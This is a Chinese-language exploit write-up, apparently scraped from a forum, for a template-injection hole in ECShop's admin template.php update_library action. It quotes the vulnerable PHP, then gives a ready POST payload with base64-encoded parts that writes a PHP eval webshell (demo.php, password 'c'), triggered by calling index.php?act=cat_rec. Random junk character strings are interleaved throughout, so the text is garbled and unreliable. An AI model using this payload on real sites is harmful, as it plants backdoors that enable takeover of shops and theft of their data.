首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板# q: ^' o) E8 Q
& f" S X f, Y( ]- N而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
' l% w- v' c. c6 s0 K, k但是ecshop似乎不支持{php}{/php}这个标签来执行php代码# {! ?% L& o: u" R* m. f6 V; j
admin/template.php
# t5 P$ I7 y. G( o. Y9 k8 Q* o; A0 S: H) \) p9 Y% ~8 Z
1 if ($_REQUEST['act'] == 'update_library')
" B, H# |) n" n' y" X+ {# q! g$ `4 J. P! P4 e! ^$ N
2
+ h- Y3 q( ~, M! F0 j/ ^; U% m2 E. J4 M7 q7 T+ r |7 \
3 {
5 s1 N3 O+ Y9 g* ^; K" p& d: x' x0 X, i6 S- D8 q3 d C3 w6 z
4 check_authz_json('library_manage');
0 m+ t9 @. [8 a: B9 N
0 Y) N2 d; i8 p$ j+ W5
* ~7 }/ a0 n- D) M. o9 ^2 x% c# P8 x
; m( k. e, ^- c; n8 W- y6 $html = stripslashes(json_str_iconv($_POST['html'])); 4 y V F* x: e9 S8 p; z8 m6 t. `4 V
4 T% ]8 |3 A J1 L ~; {1 W7
- g9 c, L- f2 \+ Z$ N" f3 ~5 m# ^& p% s0 q$ i/ p
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ [" s" H5 ~6 R, `- }8 B
& z$ w# x' T) t- \+ V9
$ ?8 i h( ~- c$ {- t
! w/ P+ D* @* T3 k: j4 o7 I10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ( k& `3 F6 `5 ?0 e: R
' {' B' w$ C; b" \
11 - O& M F+ d. K, v3 k+ b
i/ O: {( S, B; A3 @% I
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); l3 T' y8 @) j' B. r, ^' F
7 R4 r! k2 R! H) Y5 T( \' g* ?, e/ U; s13 % H* N6 G% a# ^1 R# @. ]
. |/ O: f) f$ y6 M14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 {7 ^* K3 h& Z
4 ]# }& N4 M: }15 { 9 O) l5 [( F. Q# H" d5 j: J$ a* ~
% K! E/ G* U8 N6 S16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" K" ^% U$ f: z, t& G' u% D2 M: I& s, r0 S7 G0 W
17 make_json_result('', $_LANG['update_lib_success']);
$ Y4 c' b& @2 ]6 G$ q7 b5 N: x/ m3 D- O( C: X$ E# D
18 }
( v3 j# w v5 T
6 q3 S/ _2 c" X' P8 ]8 n19 else
2 u1 C4 ^2 H+ U9 ^) a9 m( @7 B' m9 U, d9 K N
20 { 8 [0 }( m( h. |$ I C$ {. M( a
7 S+ s: c2 W2 }9 o- c8 S$ \21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
8 K+ R* o$ X. y/ _7 C1 Q7 m6 [! U! R) T
) k9 ~; U* c& ]5 `22 } 0 m K/ u. u, r" x5 F, r
% s- O, A7 M2 m. U9 y
23 }
( E, ]' B6 N+ M2 ^( t, d
| r2 v: q" ~" o3 a1 @那么找个比较方便调用了模板的文件# B* A: I' h8 u9 z
index.php: s( `1 k0 j4 ^, ]6 g, I8 D. S
+ I# l5 B8 }) k$ C
1 if ($act == 'cat_rec') # g) K- t, Z% i0 h
h7 S3 m8 j1 f( E# c: u
2
/ g* V- N5 y6 Q% E" A$ c
+ _7 b* A) u4 X3 p& v# y; Y T& i3 {
( @/ w: Z7 B; N" k) b/ \' Y6 ]
4 . M8 e" @9 J" `; E0 a/ ]
3 x/ Y; V. K9 E) v4 j! g; u7 u
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
/ w+ o: \1 ^' K* z; H# @4 Z) Y4 q' }0 J* ~7 T+ ?, Y
6
) y1 |2 h% T& y' N! p8 ?! t [) V' c$ |
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ' f/ I" ~5 |$ [0 m& c
; l# d1 V& S, P: L8
2 z- f6 X! s- e1 x* D# r) T
^. M. u7 s0 |( u$ o) i4 C; ^5 j9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; : Z5 j! j/ t' `; z
# Y4 ^! G/ ]! J: T8 K/ r" [
10
& t. A& H: O% G) Z" d1 v- _
, u. S' p" B( x# [8 \11 include_once('includes/cls_json.php'); + v* w6 z+ K' i9 |0 E
+ {- r& |' R3 J. j4 t$ j
12
7 o* D0 T$ ^" u& I; |8 k
, ^* ~; j+ c7 K' v7 ^9 C13 $json = new JSON; . b% X5 ^0 i8 M8 \8 J* o! V
( z* z6 s7 B3 S* W! G; G9 H14
! [8 \' o3 u9 i2 e$ d0 C3 e5 [. r6 x7 a2 Y4 b: a
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); " T% ?6 N! C- Y
' @0 o, z/ @2 t6 {% r16
- X/ s. d" q9 ~; q- l! X% ]4 [5 ~2 i
17 $children = get_children($cat_id); 4 c' s; `8 q, A \' d
( \- v! T: m% t. P) Z* m x% X18 ' ?+ _8 A+ B. A, }0 w7 `" L+ D, _: e
* z$ R( N( n$ e- g19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 # J4 s" z$ g# Y2 I, s+ h8 d- _$ C* ?
4 T& p; T8 ?2 U6 X9 N- d5 P0 i
20
# t; `( f+ j4 ]) e1 w0 w' {# d; y/ b
21 $smarty->assign('cat_rec_sign', 1);
; b. \) N. Z1 b r) Z) e- i
9 ~# \* a0 m6 k2 b. m1 H: O22 ; @) h1 }0 \, E* j) m( ]" M
+ b+ u! K+ a1 c6 q" i. J
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
1 L$ O! Y! D/ v$ i4 ]2 u5 ~ n( g% ?/ ` J. O% w! ?, T3 P, E
24 " K0 O" B' Z" Y5 s9 q, F7 S2 V
2 v5 K* G$ Q- p4 }" n25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; $ l: `- W5 y% _6 r3 n% b4 a
1 F V8 x! `* v- p3 Y9 A
26 4 x" [, M9 r' X9 I3 O
% N) F$ k/ r. L( N% }3 V- R% f
27 echo $rec_array[$rec_type]; ' `3 ^. Y2 f8 y$ B
" q4 }6 H" `" K H7 x4 @
28 7 b6 @5 j9 K; b/ l+ `6 v! C
/ S0 a0 \9 K# N R( R% A6 e
29 die($json->encode($result)); , O4 A2 {0 T) _$ a
( F, T* z/ n) a( D30 ; a7 v/ U- D Y2 F; b! J5 a) g
& L! Y0 t! I$ {# ]" x+ I
31 }
$ O# }2 v0 Y- Q! {
@( Q' \) R$ {+ s( T2 p那么就有利用方法了
1 L5 L' ?6 a# Y' m4 r. L# V- epost包到http://localhost/ec/admin/template.php?act=update_library$ b# w7 b6 N& Y: s) x
Post内容:
, c! @9 c7 ]+ g4 }6 S# c
# }4 I; B% @5 G! j# d- ?' R3 b @
5 X( B$ D; B1 r3 a$ l, I# e+ m1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 p3 `; l' ^& F' @( \% u6 l5 ]8 f/ \ E0 K9 \1 H* t- T
然后访问http://localhost/ec/index.php?act=cat_rec
0 Z" S& d' ^0 P
+ f0 E) D# z9 X7 E8 w$ ~# Q# gshel地址:http://localhost/ec/demo.php# B9 H% h# O; F6 H6 a
密码c
2 U. \1 ^3 z# ~
* L( ^2 K3 n- |, Y$ T |